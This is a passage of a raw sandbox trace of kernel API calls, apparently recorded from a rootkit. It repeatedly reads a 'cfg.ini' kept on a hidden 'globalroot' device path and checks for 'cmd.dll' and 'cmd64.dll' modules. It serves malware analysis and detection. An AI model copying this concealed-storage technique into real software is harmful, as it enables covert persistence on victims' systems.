MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.162] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.162] IdePortDispatch () returned 0x103 [0122.162] KeWaitForMutexObject () returned 0x0 [0122.162] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.162] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.162] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.162] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.162] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.162] IdePortDispatch () returned 0x103 [0122.163] KeWaitForMutexObject () returned 0x0 [0122.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.163] KeLeaveCriticalRegion () [0122.163] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.163] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.163] KeEnterCriticalRegion () [0122.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.163] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.163] KeLeaveCriticalRegion () [0122.163] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.163] KeEnterCriticalRegion () [0122.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.163] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.163] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.163] KeLeaveCriticalRegion () [0122.163] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.163] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.163] KeEnterCriticalRegion () [0122.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.164] ExFreePoolWithTag (P=0xfffffa8003be3190, Tag=0x0) [0122.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.164] KeLeaveCriticalRegion () [0122.164] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.164] ReleaseMutex (hMutex=0xf0) returned 1 [0122.164] Sleep (dwMilliseconds=0x124f80) [0122.179] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.179] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.179] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.179] KeEnterCriticalRegion () [0122.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.179] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.179] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.179] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.179] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.179] IdePortDispatch () returned 0x103 [0122.179] KeWaitForMutexObject () returned 0x0 [0122.179] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.180] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.180] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.180] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.180] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.180] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3440 [0122.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.180] KeLeaveCriticalRegion () [0122.180] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.180] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.180] KeEnterCriticalRegion () [0122.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.180] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.180] KeLeaveCriticalRegion () [0122.180] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.180] KeEnterCriticalRegion () [0122.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.180] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.180] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.180] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.180] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.180] IdePortDispatch () returned 0x103 [0122.180] KeWaitForMutexObject () returned 0x0 [0122.180] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.180] KeLeaveCriticalRegion () [0122.180] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.180] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.180] KeEnterCriticalRegion () [0122.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.180] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c45000 [0122.180] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.180] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.180] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.180] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.180] IdePortDispatch () returned 0x103 [0122.181] KeWaitForMutexObject () returned 0x0 [0122.181] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.181] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.181] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.181] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.181] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.181] IdePortDispatch () returned 0x103 [0122.181] KeWaitForMutexObject () returned 0x0 [0122.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.181] KeLeaveCriticalRegion () [0122.181] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.182] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.182] KeEnterCriticalRegion () [0122.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.182] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.182] KeLeaveCriticalRegion () [0122.182] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.182] KeEnterCriticalRegion () [0122.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.182] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.182] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.182] KeLeaveCriticalRegion () [0122.182] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.182] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.182] KeEnterCriticalRegion () [0122.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.182] ExFreePoolWithTag (P=0xfffffa8003be3440, Tag=0x0) [0122.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.182] KeLeaveCriticalRegion () [0122.182] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.182] ReleaseMutex (hMutex=0xf0) returned 1 [0122.182] Sleep (dwMilliseconds=0x124f80) [0122.196] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.196] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.196] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.196] KeEnterCriticalRegion () [0122.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.196] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.196] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.196] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.196] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.196] IdePortDispatch () returned 0x103 [0122.196] KeWaitForMutexObject () returned 0x0 [0122.197] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.197] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.197] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.197] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.197] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.197] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4fb0 [0122.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.197] KeLeaveCriticalRegion () [0122.197] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.197] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.197] KeEnterCriticalRegion () [0122.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.197] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.197] KeLeaveCriticalRegion () [0122.197] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.197] KeEnterCriticalRegion () [0122.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.197] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.197] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.197] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.197] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.197] IdePortDispatch () returned 0x103 [0122.197] KeWaitForMutexObject () returned 0x0 [0122.197] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.197] KeLeaveCriticalRegion () [0122.197] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.197] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.197] KeEnterCriticalRegion () [0122.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.197] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4a000 [0122.197] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.197] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.197] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.197] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.197] IdePortDispatch () returned 0x103 [0122.198] KeWaitForMutexObject () returned 0x0 [0122.198] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.198] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.198] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.198] IdePortDispatch () returned 0x103 [0122.198] KeWaitForMutexObject () returned 0x0 [0122.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.198] KeLeaveCriticalRegion () [0122.198] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.198] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.198] KeEnterCriticalRegion () [0122.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.199] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.199] KeLeaveCriticalRegion () [0122.199] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.199] KeEnterCriticalRegion () [0122.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.199] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.199] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.199] KeLeaveCriticalRegion () [0122.199] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.199] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.199] KeEnterCriticalRegion () [0122.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.199] ExFreePoolWithTag (P=0xfffffa8003be4fb0, Tag=0x0) [0122.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.199] KeLeaveCriticalRegion () [0122.199] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.199] ReleaseMutex (hMutex=0xf0) returned 1 [0122.199] Sleep (dwMilliseconds=0x124f80) [0122.212] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.213] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.213] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.213] KeEnterCriticalRegion () [0122.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.213] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.213] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.213] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.213] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.213] IdePortDispatch () returned 0x103 [0122.213] KeWaitForMutexObject () returned 0x0 [0122.213] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.213] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.213] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.213] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.213] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.213] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3390 [0122.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.213] KeLeaveCriticalRegion () [0122.213] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.213] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.213] KeEnterCriticalRegion () [0122.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.213] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.213] KeLeaveCriticalRegion () [0122.213] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.213] KeEnterCriticalRegion () [0122.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.213] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.213] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.213] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.213] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.213] IdePortDispatch () returned 0x103 [0122.213] KeWaitForMutexObject () returned 0x0 [0122.215] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.215] KeLeaveCriticalRegion () [0122.215] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.215] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.215] KeEnterCriticalRegion () [0122.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.215] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4f000 [0122.215] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.215] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.215] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.215] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.215] IdePortDispatch () returned 0x103 [0122.215] KeWaitForMutexObject () returned 0x0 [0122.215] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.215] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.215] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.215] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.215] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.215] IdePortDispatch () returned 0x103 [0122.215] KeWaitForMutexObject () returned 0x0 [0122.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.215] KeLeaveCriticalRegion () [0122.215] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.216] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.216] KeEnterCriticalRegion () [0122.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.216] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.216] KeLeaveCriticalRegion () [0122.216] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.216] KeEnterCriticalRegion () [0122.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.216] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.216] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.216] KeLeaveCriticalRegion () [0122.216] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.216] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: 